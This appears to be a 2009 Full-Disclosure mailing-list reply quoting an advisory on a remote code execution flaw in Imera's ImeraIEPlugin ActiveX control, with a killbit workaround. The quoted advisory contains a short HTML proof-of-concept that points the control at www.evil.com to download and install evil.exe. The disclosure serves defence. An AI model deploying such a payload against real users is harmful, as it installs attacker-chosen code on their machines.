Re: Imera ImeraIEPlugin ActiveX Control Remote Code Execution

[bob jones <bholdaaa () gmail com>]

doesn't submitting lame bugs in useless apps ever get old?

On Tue, Mar 3, 2009 at 9:12 AM, Elazar Broad <elazar () hushmail com> wrote:

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> Who:
>  Imera(http://www.imera.com)
>  Imera TeamLinks Client(http://teamlinks.imera.com/install.html)
>
> What:
>  ImeraIEPlugin.dll
>  Version 1.0.2.54
>  Dated 12/02/2008
>  {75CC8584-86D4-4A50-B976-AA72618322C6}
>  http://teamlinks.imera.com/ImeraIEPlugin.cab
>
> How:
>  This control is used to install the Imera TeamLinks Client
> package. The control fails to validate the content that it is to
> download and install is indeed the Imera TeamLinks Client software.
>
> Exploiting this issue is quite simple, like so:
>
> <object classid="clsid:75CC8584-86D4-4A50-B976-AA72618322C6"
> id="obj">
>        <param name="DownloadProtocol" value="http" />
>        <param name="DownloadHost" value="www.evil.com" />
>        <param name="DownloadPort" value="80" />
>        <param name="DownloadURI" value="evil.exe" />
> </object>
>
> Fix:
>  The vendor has been notified.
>
> Workaround:
>  Set the killbit for the affected control, see
> http://support.microsoft.com/kb/240797.
> Use the Java installer for TeamLinks Client or install the software
> manually from: http://teamlinks.imera.com/download.html
>
> Elazar
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_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/